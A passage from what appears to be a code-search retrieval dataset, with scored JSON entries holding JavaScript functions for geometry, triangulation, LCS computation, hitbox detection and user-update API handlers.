= points[j];\n\t\t\t\tvar p3 = points[j + 1];\n\n\t\t\t\t// Check for an actual line intersection\n\t\t\t\tvar intersection = lineIntersection(p0, p1, p2, p3);\n\t\t\t\tif (intersection) {\n\t\t\t\t\tupdateBestSlice(i, j, intersection);\n\t\t\t\t\tfoundIntersection = true;\n\t\t\t\t} else if (j > i + 4) {\n\t\t\t\t\t// Check if endpoints are close enough to be considered intersecting\n\t\t\t\t\tif (distance(p0.x, p0.y, p2.x, p2.y) <= polyDistance) {\n\t\t\t\t\t\tupdateBestSlice(i, j, null);\n\t\t\t\t\t\tfoundIntersection = true;\n\t\t\t\t\t} else if (distance(p1.x, p1.y, p2.x, p2.y) <= polyDistance) {\n\t\t\t\t\t\tupdateBestSlice(i + 1, j, null);\n\t\t\t\t\t\tfoundIntersection = true;\n\t\t\t\t\t} else if (distance(p0.x, p0.y, p3.x, p3.y) <= polyDistance) {\n\t\t\t\t\t\tupdateBestSlice(i, j + 1, null);\n\t\t\t\t\t\tfoundIntersection = true;\n\t\t\t\t\t} else if (distance(p1.x, p1.y, p3.x, p3.y) <= polyDistance) {\n\t\t\t\t\t\tupdateBestSlice(i + 1, j + 1, null);\n\t\t\t\t\t\tfoundIntersection = true;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif (foundIntersection) {\n\t\t\t\t// Found an intersection, so no point in checking overlapping intervals\n\t\t\t\ti = j;\n\t\t\t\tfoundIntersection = false;\n\t\t\t}\n\t\t}\n\n\t\tif (bestSlice) {\n\t\t\tvar poly = points.slice(bestSlice[0], bestSlice[1]);\n\t\t\tif (addPoint) {\n\t\t\t\tpoly.push(addPoint);\n\t\t\t}\n\t\t\treturn poly;\n\t\t}\n\n\t\treturn null;\n\t}", "title": "" }, { "docid": "a03bf61323438b9470758803fd8be7f3", "score": "0.4787943", "text": "function convex(pointset) {\n var convex,\n upper = _upperTangent(pointset),\n lower = _lowerTangent(pointset);\n convex = lower.concat(upper);\n convex.push(pointset[0]); \n return convex; \n}", "title": "" }, { "docid": "a03bf61323438b9470758803fd8be7f3", "score": "0.4787943", "text": "function convex(pointset) {\n var convex,\n upper = _upperTangent(pointset),\n lower = _lowerTangent(pointset);\n convex = lower.concat(upper);\n convex.push(pointset[0]); \n return convex; \n}", "title": "" }, { "docid": "0cfed7b0789abfae849b12e817c28d50", "score": "0.47666004", "text": "function triangulatePoints(points){\n\n delaunay = Delaunator.from(points);\n \n let coordinates = [];\n\n for (let i = 0; i < delaunay.triangles.length; i += 3) {\n coordinates.push([\n points[delaunay.triangles[i]],\n points[delaunay.triangles[i + 1]],\n points[delaunay.triangles[i + 2]]\n ]);\n }\n\n return coordinates;\n\n }", "title": "" }, { "docid": "d2653455c6f1503b3858f630334c4317", "score": "0.47641066", "text": "function lcs( x, y ) {\n\tvar m = x.length;\n\tvar n = y.length;\n\tvar dp = new Array( m + 1 );\n\tfor ( var i = 0; i <= m; i++ ) {\n\t\tdp[ i ] = new Array( n + 1 );\n\t}\n\n\tfor ( var i = 0; i <= m; i++ ) {\n\t\tdp[ i ][ 0 ] = 0;\n\t}\n\n\tfor ( var j = 0; j <= n; j++ ) {\n\t\tdp[ 0 ][ j ] = 0;\n\t}\n\n\t// print( dp )\n\t// process.exit();\n\n\n\tfor ( var i = 1; i <= m; i++ ) {\n\t\tfor ( var j = 1; j <= n; j++ ) {\n\t\t\tif ( x[ i - 1 ] === y[ j - 1 ] ) {\n\t\t\t\tdp[ i ][ j ] = 1 + dp[ i - 1 ][ j - 1 ];\n\t\t\t} else {\n\t\t\t\tdp[ i ][ j ] = Math.max( dp[ i - 1 ][ j ], dp[ i ][ j - 1 ] );\n\t\t\t}\n\t\t}\n\t}\n\tprint( dp );\n\tprint( findSub( dp, x, y, m, n ) );\n\t// print( findSubAllSub( dp, x, y, m, n ) );\n\treturn dp[ m ][ n ];\n}", "title": "" }, { "docid": "dc9a584a81bc043bc40fee1a8f968eb6", "score": "0.47459757", "text": "function up_left_low_right(x, y) {\r\n var currentChess = array[x][y];\r\n var sumOfChess = 1;\r\n //Up_left x-- y--\r\n for (let i = x - 1, j = y - 1; i >= 0 && j >= 0; i--, j--) {\r\n if (array[i][j] == currentChess) {\r\n sumOfChess = sumOfChess + 1\r\n } else {\r\n break;\r\n }\r\n }\r\n //low_right x++ y++\r\n for (let i = x + 1, j = y + 1; i <= 14 && j <= 14; i++, j++) {\r\n if (array[i][j] == currentChess) {\r\n sumOfChess = sumOfChess + 1\r\n } else {\r\n break;\r\n }\r\n }\r\n return sumOfChess;\r\n }", "title": "" }, { "docid": "f05c52036a1861cf4580d2e44e6781ce", "score": "0.47401944", "text": "function prunePoints() {\n var outputPoint = 0;\n\n for (var inputPoint = 0; inputPoint < pointCount; inputPoint++) {\n var outputIndex = outputPoint * 2;\n\n if (pointStatus[inputPoint] == 1) {\n // Only if pruning is needed\n if (outputPoint < inputPoint) {\n var inputIndex = inputPoint * 2;\n curxy[outputIndex] = curxy[inputIndex];\n curxy[outputIndex + 1] = curxy[inputIndex + 1];\n }\n // Update locs array\n locs[outputIndex].moose(curxy[outputIndex], curxy[outputIndex + 1]);\n outputPoint++;\n }\n }\n pointCount = outputPoint;\n}", "title": "" }, { "docid": "0f0080e086400376ceb8645257d7f29d", "score": "0.47122535", "text": "function gcPoints(points, cutoff) {\n const l = points.length;\n for (var i = 0; i < l; i++) {\n if (points[i][0] >= cutoff) {\n return points.splice(0, i).length;\n }\n }\n if (i === l) {\n points.splice(0, l);\n return l;\n }\n return 0;\n}", "title": "" }, { "docid": "2b4a0ba71a349327763dde911258731f", "score": "0.469012", "text": "function countColTriang(pointsList) {\n let triObj = {};\n let result = {};\n let seen = {};\n for (let i = 0; i < pointsList.length; i++) {\n if (triObj[pointsList[i][1]]) {\n triObj[pointsList[i][1]].push(pointsList[i][0]);\n } else {\n triObj[pointsList[i][1]] = [pointsList[i][0]];\n }\n result[pointsList[i][1]] = 0;\n seen[pointsList[i][1]] = new Set([]);\n }\n for (let color in triObj) {\n for (let i = 0; i < triObj[color].length; i++) {\n for (let j = 0; j < triObj[color].length; j++) {\n for (let k = 0; k < triObj[color].length; k++) {\n let point1 = triObj[color][i];\n let point2 = triObj[color][j];\n let point3 = triObj[color][k];\n if (\n arePointsDifferent(point1, point2) &&\n arePointsDifferent(point1, point3) &&\n arePointsDifferent(point2, point3)\n ) {\n if (\n isValidTriangle(point1, point2, point3) &&\n !seen[color].has(pointsToSortedStr(i, j, k))\n ) {\n result[color] += 1;\n seen[color].add(pointsToSortedStr(i, j, k));\n }\n }\n }\n }\n }\n }\n let totalPoints = pointsList.length;\n let numOfColors = Object.keys(result).length;\n let numOfTriangles = Object.keys(result).reduce(\n (y, x) => parseInt(result[x]) + y,\n 0\n );\n let max = 0;\n let maxKey = {};\n for (let key in result) {\n if (result[key] >= max) {\n max = result[key];\n maxKey[key] = max;\n }\n }\n let maxArr = [];\n for (let key in maxKey) {\n if (maxKey[key] === max) {\n maxArr.push(key);\n }\n }\n maxArr.sort();\n maxArr.push(max);\n if (max === 0) {\n return [totalPoints, numOfColors, numOfTriangles, []];\n }\n return [totalPoints, numOfColors, numOfTriangles, maxArr];\n}", "title": "" }, { "docid": "63d988de66739ec9160c2b91bf50099b", "score": "0.46647063", "text": "static createFrameToDistantPoints(points) {\n if (points.length > 2) {\n const origin = points[0].clone();\n const vector01 = Point3dVector3d_1.Vector3d.create();\n PointHelpers_1.Point3dArray.indexOfMostDistantPoint(points, points[0], vector01);\n const vector02 = Point3dVector3d_1.Vector3d.create();\n PointHelpers_1.Point3dArray.indexOfPointWithMaxCrossProductMagnitude(points, origin, vector01, vector02);\n const matrix = Matrix3d_1.Matrix3d.createRigidFromColumns(vector01, vector02, 0 /* XYZ */);\n if (matrix)\n return Transform_1.Transform.createRefs(origin, matrix);\n }\n return undefined;\n }", "title": "" }, { "docid": "14f9e6e097dd93c5c1f45288a1b7c05b", "score": "0.464874", "text": "topPoints2()\n {\n var points2 = [\n\n [-0.3, 0.3, 0, 1],\n [-0.5, 0.2, 0.4, 1],\n [-0.6, 0, 0.6, 1],\n [-0.5, -0.2, 0.4, 1],\n [-0.3, -0.3, 0, 1],\n\n [-0.2, 0.5, 0.4, 1],\n [-0.5, 0.8, 1.2, 1],\n [-0.7, 0, 2.2, 1],\n [-0.5, -0.8, 1.2, 1],\n [-0.2, -0.5, 0.4, 1],\n\n [0, 0.6, 0.6, 1],\n [0, 0.7, 2.2, 1],\n [0, 0, 2.5, 1],\n [0, -0.7, 2.2, 1],\n [0, -0.6, 0.6, 1],\n\n [0.2, 0.5, 0.4, 1],\n [0.5, 0.8, 1.2, 1],\n [0.7, 0, 2.2, 1],\n [0.5, -0.8, 1.2, 1],\n [0.2, -0.5, 0.4, 1],\n\n [0.3, 0.3, 0, 1],\n [0.5, 0.2, 0.5, 1],\n [0.6, 0, 0.6, 1],\n [0.5, -0.2, 0.4, 1],\n [0.3, -0.3, 0, 1]\n ];\n\n return points2;\n }", "title": "" }, { "docid": "c423fdc92cf97f31147ff5f14977ca18", "score": "0.46466428", "text": "function largest_area_rects(floors) {\n var rect, sorted, y, y_min;\n var rects = [];\n // reverse order\n y_min = floors.length - 2;\n for (y = y_min; y >=0; y--){\n //for (y = i = ref = y_min; (ref <= 0 ? i <= 0 : i >= 0); y = ref <= 0 ? ++i : --i) {\n //console.log(\"Index: \" + y)\n //console.log(floors[y])\n rect = max_rectangle_histogram(floors[y], y);\n // some rects can turn out null\n if (rect != null) {\n rects.push(rect);\n }\n }\n // this sorts in descending order\n sorted = rects.sort(sort_fun);\n //console.log sorted\n // .. so we need the first entry\n return sorted[0];\n }", "title": "" }, { "docid": "5738a02ea9ea10af7bbab2b5dc34282b", "score": "0.46365294", "text": "corners() {\n return [\n Point3dVector3d_1.Point3d.create(this.low.x, this.low.y, this.low.z),\n Point3dVector3d_1.Point3d.create(this.high.x, this.low.y, this.low.z),\n Point3dVector3d_1.Point3d.create(this.low.x, this.high.y, this.low.z),\n Point3dVector3d_1.Point3d.create(this.high.x, this.high.y, this.low.z),\n Point3dVector3d_1.Point3d.create(this.low.x, this.low.y, this.high.z),\n Point3dVector3d_1.Point3d.create(this.high.x, this.low.y, this.high.z),\n Point3dVector3d_1.Point3d.create(this.low.x, this.high.y, this.high.z),\n Point3dVector3d_1.Point3d.create(this.high.x, this.high.y, this.high.z)\n ];\n }", "title": "" }, { "docid": "3fd88c85a464af1004b0635e36545f9e", "score": "0.46331796", "text": "function findNotContainedPoint(points1, points2)\n{\n //DEBUG: assert(points1.length == 3);\n //DEBUG: assert(points2.length == 3);\n\n for (var i = 0; i < points1.length; i++) {\n var index = points2.indexOf(points1[i]);\n\n if (index < 0) {\n return i;\n }\n }\n return null;\n\n //DEBUG: var result = null;\n\n //DEBUG: for (var i = 0; i < points1.length; i++) {\n //DEBUG: var index = points2.indexOf(points1[i]);\n\n //DEBUG: if (index < 0) {\n //DEBUG: assert(result == null);\n //DEBUG: result = i;\n //DEBUG: }\n //DEBUG: }\n //DEBUG: return result;\n}", "title": "" }, { "docid": "820dd9cde60f4437f38562870142fec6", "score": "0.4632594", "text": "function findNeighbors(triangles) {\r\n var neighbors = [];\r\n\r\n //loop through all of the triangles\r\n for (var i = 0; i < triangles.length; i++) {\r\n var localNeighbors = [];\r\n\r\n //have every triangle check with every other triangle\r\n for (var j = 0; j < triangles.length; j++) {\r\n var orgTri = triangles[i].slice();\r\n var checkTri = triangles[j].slice();\r\n\r\n //make sure we aren'y checking the same triangle against itself\r\n if (i != j) {\r\n //counter to keep track of how many shared points there are\r\n var n = 0;\r\n //loop through all the points of one triangle\r\n for (var k = orgTri.length - 1; k >= 0; k--) {\r\n //and all of the points in the other triangle\r\n for (var l = checkTri.length - 1; l >= 0; l--) {\r\n //check if they are the same\r\n if (orgTri[k][0] == checkTri[l][0] && orgTri[k][1] == checkTri[l][1]) {\r\n //if they are the same add one to the counter of shared points\r\n //and remove those points from the arrays so we don't check them again\r\n //then stop looping because we already found the shared points for the indices\r\n n++;\r\n orgTri.splice(k, k);\r\n checkTri.splice(l, l);\r\n break;\r\n }\r\n }\r\n\r\n if (n == 2 || k < 0) {\r\n break;\r\n }\r\n }\r\n\r\n //if we counted two shared points, add the index of that triangles circumcenter\r\n //to an array of local neighbors\r\n if (n == 2) {\r\n localNeighbors.push(j);\r\n }\r\n }\r\n }\r\n\r\n //then push all of the local neighbors\r\n neighbors.push(localNeighbors);\r\n }\r\n\r\n return neighbors;\r\n }", "title": "" }, { "docid": "8f459e89c51479e1a8b4929646c18790", "score": "0.4629538", "text": "function _buildLcsMatrix(x,y) {\r\n var m = x.length;\r\n var n = y.length;\r\n var c = new Array(m+1);\r\n for (var i=0; i<=m; i++) {\r\n c[i] = new Array(n+1);\r\n c[i][0] = 0;\r\n }\r\n for (var j=0; j<=n; j++) {\r\n c[0][j] = 0;\r\n }\r\n for (var i=1; i<=m; i++) {\r\n for (var j=1; j<=n; j++) {\r\n if (x[i-1] == y[j-1]) {\r\n c[i][j] = c[i-1][j-1] + 1;\r\n } else {\r\n c[i][j] = Math.max(c[i][j-1], c[i-1][j]);\r\n }\r\n }\r\n }\r\n return c;\r\n }", "title": "" }, { "docid": "54d63c4716d64e122fbc52578dddca09", "score": "0.4628086", "text": "function sailboat_polygon() {\n // Parameters:\n //\n // alpha - the angle between the lower edge of the big sail and\n // the level of the hull\n //\n // beta - the angle between the lower edge of the small sail and\n // the level of the hull\n //\n // x1 - x-coordinate of the leftmost point of the hull, there must\n // be x5 - (3 / 4) * Math.SQRT2 < x1 < ca\n //\n // The picture is made so that sails have one common point. x5 is\n // the point where the small sail touches the hull.\n var alpha = Math.PI / 32,\n beta = Math.PI / 64,\n sa = Math.sin(alpha),\n ca = Math.cos(alpha),\n sb = Math.sin(beta),\n cb = Math.cos(beta),\n x1 = 0.3,\n y1 = ca,\n x5 = sqr(ca) + (1 / 2) * Math.SQRT2 * (sb + sa * cb);\n return [\n x1, y1,\n x1 + (1 / 4) * Math.SQRT2, y1 + (1 / 4) * Math.SQRT2,\n x1 + (1 / 2) * Math.SQRT2, y1 + (1 / 4) * Math.SQRT2,\n x1 + (3 / 4) * Math.SQRT2, y1,\n x5, y1,\n x5 + (1 / 2) * Math.SQRT2 * cb, y1 - (1 / 2) * Math.SQRT2 * sb,\n x5 - (1 / 2) * Math.SQRT2 * sb, y1 - (1 / 2) * Math.SQRT2 * cb,\n x5, y1,\n ca, y1,\n ca + sa, 0,\n 0, y1 - sa,\n ca, y1\n ];\n }", "title": "" }, { "docid": "e8b7902832e08c84cabce44bfdd14fce", "score": "0.4618845", "text": "function findY(arr){\n var front = []\n front.push(n-1) \n var y = []\n y[n-1] = -1\n for(var j = n-2;j>=0;j--){\n while(front.length != 0 && arr[front[front.length-1]] <=arr[j]){\n front.pop()\n }\n if(front.length != 0){\n y[j] = front[front.length-1] +1\n }\n else{\n y[j] =-1\n }\n front.push(j)\n }\n return y\n }", "title": "" }, { "docid": "0a050126931dc7f8c03588e4c54d30fd", "score": "0.4603018", "text": "hitboxesCalculator()\n\t{\n\t\tthis.hitboxes = []\n\t\tlet current = 0\n\n\t\tfor(let i = 0; i < this.trackedPixels.length; i++)\n\t\t{\n\t\t\tlet currentHitbox = []\n\n\t\t\tif(this.trackedPixels[i] != -1)\n\t\t\t{\n\t\t\t\tcurrentHitbox.push([this.trackedPixels[i]])\n\t\t\t\tthis.trackedPixels[i] = -1\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\n\t\t\twhile(currentHitbox.length > 0)\n\t\t\t{\n\t\t\t\tlet currentPoint\n\t\t\t\tlet adjacentPoints = []\n\t\t\t\t// let adjacentChecks = []\n\n\t\t\t\tif(currentHitbox[currentHitbox.length - 1].length > 0)\n\t\t\t\t{\n\t\t\t\t\tcurrentPoint = currentHitbox[currentHitbox.length - 1].pop()\n\t\t\t\t\t// adjacentChecks = [currentPoint - this.canvas.offsetWidth - 1, currentPoint - this.canvas.offsetWidth, currentPoint - this.canvas.offsetWidth + 1, currentPoint - 1, currentPoint + 1, currentPoint + this.canvas.offsetWidth - 1, currentPoint + this.canvas.offsetWidth, currentPoint + this.canvas.offsetWidth + 1]\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tcurrentHitbox.pop()\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\t// for(let adj = 0; adj < adjacentChecks.length; adj++)\n\t\t\t\t// {\n\t\t\t\t// \tif(this.trackedPixels.indexOf(adjacentChecks[i]) != -1)\n\t\t\t\t// \t{\n\t\t\t\t// \t\tif(this.trackedPixels[this.trackedPixels.indexOf(adjacentChecks[i])] != -1)\n\t\t\t\t// \t\t{\n\t\t\t\t// \t\t\tadjacentPoints.push(this.trackedPixels[this.trackedPixels.indexOf(adjacentChecks[i])])\n\t\t\t\t// \t\t\tthis.trackedPixels[this.trackedPixels.indexOf(adjacentChecks[i])] = -1\n\t\t\t\t// \t\t}\n\t\t\t\t// \t}\n\t\t\t\t// }\n\n\t\t\t\tif(this.trackedPixels.indexOf(currentPoint - this.canvas.offsetWidth - 2) != -1)\n\t\t\t\t{\n\t\t\t\t\tif(this.trackedPixels[this.trackedPixels.indexOf(currentPoint - this.canvas.offsetWidth - 2)] != -1)\n\t\t\t\t\t{\n\t\t\t\t\t\tadjacentPoints.push(this.trackedPixels[this.trackedPixels.indexOf(currentPoint - this.canvas.offsetWidth - 2)])\n\t\t\t\t\t\tthis.trackedPixels[this.trackedPixels.indexOf(currentPoint - this.canvas.offsetWidth - 2)] = -1\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif(this.trackedPixels.indexOf(currentPoint - this.canvas.offsetWidth) != -1)\n\t\t\t\t{\n\t\t\t\t\tif(this.trackedPixels[this.trackedPixels.indexOf(currentPoint - this.canvas.offsetWidth)] != -1)\n\t\t\t\t\t{\n\t\t\t\t\t\tadjacentPoints.push(this.trackedPixels[this.trackedPixels.indexOf(currentPoint - this.canvas.offsetWidth)])\n\t\t\t\t\t\tthis.trackedPixels[this.trackedPixels.indexOf(currentPoint - this.canvas.offsetWidth)] = -1\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif(this.trackedPixels.indexOf(currentPoint - this.canvas.offsetWidth + 2) != -1)\n\t\t\t\t{\n\t\t\t\t\tif(this.trackedPixels[this.trackedPixels.indexOf(currentPoint - this.canvas.offsetWidth + 2)] != -1)\n\t\t\t\t\t{\n\t\t\t\t\t\tadjacentPoints.push(this.trackedPixels[this.trackedPixels.indexOf(currentPoint - this.canvas.offsetWidth + 2)])\n\t\t\t\t\t\tthis.trackedPixels[this.trackedPixels.indexOf(currentPoint - this.canvas.offsetWidth + 2)] = -1\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif(this.trackedPixels.indexOf(currentPoint - 2) != -1)\n\t\t\t\t{\n\t\t\t\t\tif(this.trackedPixels[this.trackedPixels.indexOf(currentPoint - 2)] != -1)\n\t\t\t\t\t{\n\t\t\t\t\t\tadjacentPoints.push(this.trackedPixels[this.trackedPixels.indexOf(currentPoint - 2)])\n\t\t\t\t\t\tthis.trackedPixels[this.trackedPixels.indexOf(currentPoint - 2)] = -1\n\t\t\t\t\t}\n\t\t\t\t}\t\n\t\t\t\tif(this.trackedPixels.indexOf(currentPoint + 2) != -1)\n\t\t\t\t{\n\t\t\t\t\tif(this.trackedPixels[this.trackedPixels.indexOf(currentPoint + 2)] != -1)\n\t\t\t\t\t{\n\t\t\t\t\t\tadjacentPoints.push(this.trackedPixels[this.trackedPixels.indexOf(currentPoint + 2)])\n\t\t\t\t\t\tthis.trackedPixels[this.trackedPixels.indexOf(currentPoint + 2)] = -1\n\t\t\t\t\t}\n\t\t\t\t}\t\t\t\n\t\t\t\tif(this.trackedPixels.indexOf(currentPoint + this.canvas.offsetWidth - 2) != -1)\n\t\t\t\t{\n\t\t\t\t\tif(this.trackedPixels[this.trackedPixels.indexOf(currentPoint + this.canvas.offsetWidth - 2)] != -1)\n\t\t\t\t\t{\n\t\t\t\t\t\tadjacentPoints.push(this.trackedPixels[this.trackedPixels.indexOf(currentPoint + this.canvas.offsetWidth - 2)])\n\t\t\t\t\t\tthis.trackedPixels[this.trackedPixels.indexOf(currentPoint + this.canvas.offsetWidth - 2)] = -1\n\t\t\t\t\t}\n\t\t\t\t}\t\t\t\n\t\t\t\tif(this.trackedPixels.indexOf(currentPoint + this.canvas.offsetWidth) != -1)\n\t\t\t\t{\n\t\t\t\t\tif(this.trackedPixels[this.trackedPixels.indexOf(currentPoint + this.canvas.offsetWidth)] != -1)\n\t\t\t\t\t{\n\t\t\t\t\t\tadjacentPoints.push(this.trackedPixels[this.trackedPixels.indexOf(currentPoint + this.canvas.offsetWidth)])\n\t\t\t\t\t\tthis.trackedPixels[this.trackedPixels.indexOf(currentPoint + this.canvas.offsetWidth)] = -1\n\t\t\t\t\t}\n\t\t\t\t}\t\t\t\n\t\t\t\tif(this.trackedPixels.indexOf(currentPoint + this.canvas.offsetWidth + 2) != -1)\n\t\t\t\t{\n\t\t\t\t\tif(this.trackedPixels[this.trackedPixels.indexOf(currentPoint + this.canvas.offsetWidth + 2)] != -1)\n\t\t\t\t\t{\n\t\t\t\t\t\tadjacentPoints.push(this.trackedPixels[this.trackedPixels.indexOf(currentPoint + this.canvas.offsetWidth + 2)])\n\t\t\t\t\t\tthis.trackedPixels[this.trackedPixels.indexOf(currentPoint + this.canvas.offsetWidth + 2)] = -1\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif(adjacentPoints.length > 0)\n\t\t\t\t{ \n\t\t\t\t\tcurrentHitbox.push(adjacentPoints)\n\t\t\t\t}\n\t\t\n\t\t\t\tif(this.hitboxes[current] === undefined)\n\t\t\t\t{\n\t\t\t\t\tthis.hitboxes.push([])\n\t\t\t\t\tthis.hitboxes[current].push(currentPoint)\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tthis.hitboxes[current].push(currentPoint)\n\t\t\t\t}\n\t\t\t}\t\n\n\t\t\tcurrent++\n\t\t\t\n\t\t}\n\n\t\treturn this.hitboxes\n\t}", "title": "" }, { "docid": "d37c08bb78dafec464f252086d9fd25f", "score": "0.46025947", "text": "_getNeighbors(x, y) {\n return [\n this._getCell(x +1, y -1), //NW\n this._getCell(x +1, y), //N\n this._getCell(x +1, y +1), //NE\n this._getCell(x, y -1), //W\n this._getCell(x, y +1), //E\n this._getCell(x -1, y -1), //SW\n this._getCell(x -1, y), //S\n this._getCell(x -1, y +1), //SE\n ];\n }", "title": "" } ]
d8deeeb6e7112e5e0180ca04b471e2ee
Updates an existing user
[ { "docid": "c69e6bb0cdf94ff78fc8b44f0015bf11", "score": "0.0", "text": "async function updateUser(userId, firstName, lastName, \n emailAddress, userRole, apiKey, userEnabled)\n{\n try\n {\n var options = {\n headers: {\n 'x-api-key': unstore('api-key')\n }\n };\n\n stickySuccessToast('Updating user...')\n\n await axios.post(siteConfig.api + '/user', { \n userId: userId,\n firstName: firstName,\n lastName: lastName,\n emailAddress: emailAddress,\n userRole: userRole,\n apiKey: apiKey,\n userEnabled: userEnabled\n }, options);\n\n return true;\n }\n catch (error)\n {\n logError('[ERROR] Failed to update user', error);\n\n if (error.response && error.response.status === 409)\n {\n errorToast(error.response.data.data.message); \n }\n else\n {\n errorToast('Failed to update user'); \n }\n\n return false;\n }\n}", "title": "" } ]
[ { "docid": "f70999949b95cc1f884de63cf50097af", "score": "0.8066462", "text": "function updateUser() {\n API.updateUser({\n _id: id,\n userName: user\n })\n .then(res => console.log(res.data))\n .catch(err => console.log(err));\n }", "title": "" }, { "docid": "d5c70c0b97b8f24365b763a27291c1d4", "score": "0.7887602", "text": "function updateUser() {\n\n\t\tvar updateUser = new User(\n\t\t\t\t$usernameFld.val(),\n\t\t\t\t$passwordFld.val(),\n\t\t\t\t\"\",\n\t\t\t\t$firstNameFld.val(),\n\t\t\t\t$lastNameFld.val(),\n\t\t\t\t\"\",\n\t\t\t\t$roleFld.val(),\n\t\t\t\t$dobFld.val());\n\n\t\tuserService\n\t\t.updateUser(updateUserId, updateUser)\n\t\t.then(findAllUsers);\n\t}", "title": "" }, { "docid": "1c4217ccf52f9529168a56e9bead44b4", "score": "0.77589124", "text": "function updateUser(req, res) {\n var user = req.body;\n var id = req.params['userId'];\n userModel\n .updateUser(id, user)\n .then(function (status) {\n res.sendStatus(200);\n });\n }", "title": "" }, { "docid": "343f1df954efa7c7cc6ac32ef708c89a", "score": "0.7679901", "text": "async UpdateUser() {\n this.query.get(this.#id).then((user) => {\n // Updates the data we want\n user.set('email', this.#email);\n user.set('password', this.#pswd);\n user.set('lname', this.#lname);\n user.set('fname', this.#fname);\n // Saves the user with the updated data\n user.save().then((response) => {\n if (typeof document !== 'undefined') document.write(`Updated user: ${JSON.stringify(response)}`);\n console.log('Updated user', response);\n }).catch((error) => {\n if (typeof document !== 'undefined') document.write(`Error while updating user: ${JSON.stringify(error)}`);\n console.error('Error while updating user', error);\n });\n });\n }", "title": "" }, { "docid": "4f94d4185a402e264cd0784db4edbc4d", "score": "0.7546599", "text": "function updateUser(req, res){\n\tvar userId = req.params.id;\n\tvar update = req.body;\n\n\tUser.findByIdAndUpdate(userId, update, (err, userUpdated) => {\n\t\tif(err){\n\t\t\t res.status(500).send({message: 'Error al actualizar el usuario'});\n\t\t}else{\n\t\t\tif (!userUpdated) {\n\t\t\t\tres.status(404).send({message: 'No se ha podido actualizar el usuario'});\n\t\t\t}else{\n\t\t\t\tres.status(200).send({user: userUpdated});\n\t\t\t}\n\t\t}\n\t})\n\n}", "title": "" }, { "docid": "e81733e3726dc2a89c4d5feffebbeec2", "score": "0.7494781", "text": "async updateUserById(req, res) {\n try {\n let username = req.body.username;\n let email = req.body.email;\n let password = req.body.password;\n let id = req.params.id;\n let body = {\n username: username,\n email: email,\n password: password,\n };\n\n let user = await User.findOneAndUpdate(id, body, {\n new: true,\n });\n res.status(200).send(user);\n } catch (error) {\n res.send(error);\n }\n }", "title": "" }, { "docid": "1ad6f5276e7fb7e03690a8e18def352c", "score": "0.74543375", "text": "function updateUser(req, res) {\n var userId = req.params.id;\n var update = req.body;\n\n if (!update.password) {\n delete update.password;\n }\n\n if (userId != req.user.sub && req.params.role == \"ROLE_USER\") {\n return res.status(500).send({\n message: 'No tienes permiso para actualizar los datos del usuario'\n });\n }\n\n bcrypt.hash(update.password, null, null, (err, hash) => {\n update.password = hash\n\n User.findByIdAndUpdate(userId, update, {\n new: true\n }, (err, userUpdated) => {\n if (err) return res.status(500).send({\n message: 'Error en la petición'\n });\n\n if (!userUpdated) return res.status(404).send({\n message: 'No se ha podido actualizar el usuario'\n });\n\n return res.status(200).send({\n user: userUpdated\n });\n })\n })\n}", "title": "" }, { "docid": "88a3c8837b8c5a79f5eee3f30d261cb1", "score": "0.74250305", "text": "function updateUser(request, response) {\n\tfindUser(request.params.userId)\n\t\t.then(user => {\n\t\t\tif(user) {\n\t\t\t\tassignUser(user, request.body)\n\t\t\t\t\t.then(user => {\n\t\t\t\t\t\tresponse.json({ message: 'Usuario actualizado con exito', user })\n\t\t\t\t\t})\n\t\t\t\t\t.catch(error => {\n\t\t\t\t\t\tif(error.code === 11000) {\n\t\t\t\t\t\t\tresponse.status(422).send({ message: 'El usuario ya existe' })\n\t\t\t\t\t\t}\n\t\t\t\t\t\tresponse.send(error)\n\t\t\t\t\t\tresponse.end()\n\t\t\t\t\t})\n\t\t\t} else {\n\t\t\t\tresponse.status(404)\n\t\t\t\t\t.send({ message: 'El usuario, no es un usuario valido' })\n\t\t\t}\n\t\t})\n\t\t.catch(error => {\n\t\t\tresponse.send(error)\n\t\t\tresponse.end()\n\t\t})\n}", "title": "" }, { "docid": "1724ca1a502aae6bd421903da63c268e", "score": "0.7408766", "text": "async updateUser(id, user) {\n return User.findByIdAndUpdate(id, user, { new: true });\n }", "title": "" }, { "docid": "08d9195b77c1a2d0aab6896a91e02fcf", "score": "0.74062014", "text": "function updateUser(req, res){\n var userId = req.params.id;\n var update = req.body;\n\n //borrar propiedad password\n delete update.password;\n \n if(userId != req.user.sub){\n return res.status(500).send({message:'No tienes permisos para actualizar los datos del usuario'});\n }\n\n User.findByIdAndUpdate(userId, update, {new:true}, (err, userUpdated) =>{\n if(err) return res.status(500).send({message:'No tienes permisos para actualizar los datos del usuario'});\n if(!userUpdated) return res.status(404).send({message:'No se ha podido actualizar el usuario'});\n return res.status(200).send({user: userUpdated});\n });\n\n}", "title": "" }, { "docid": "f4813e68c06a91b9052fbf37462815cb", "score": "0.74061805", "text": "function userUpdate(_id, user) {\n user_sc.update({ _id: req.body._id }, user, function (err, result) {\n console.log(err);\n if (err) {\n return res.status(500).json({\n error: err\n });\n }\n // else\n return res.status(200).json({\n user: result\n });\n });\n }", "title": "" }, { "docid": "98f0875564a591d831c013010925b976", "score": "0.74025303", "text": "function updateUser(req,res)\r\n{\r\n\tvar userId = req.params.id;\r\n\tvar update = req.body;\r\n\r\n\t/* borrar propiedad password */\r\n\tdelete update.password;\r\n\r\n\tif (userId != req.user.sub) {\r\n\t\treturn res.status(500).send({menssage:'no tienes permiso para actualizar los datos del usuario'});\r\n\t}\r\n\r\n\tUser.findByIdAndUpdate(userId, update,{new:true} , (err,userUpdated) =>{\r\n\t\tif (err) { return res.status(500).send({menssage: 'error de peticion'});}\r\n\r\n\t\tif (!userUpdated) { return res.status(404).send({menssage: 'no se ha podido actualizar el usuario'});}\r\n\r\n\t\treturn res.status(200).send({user: userUpdated});\r\n\t});\r\n\t\r\n}", "title": "" }, { "docid": 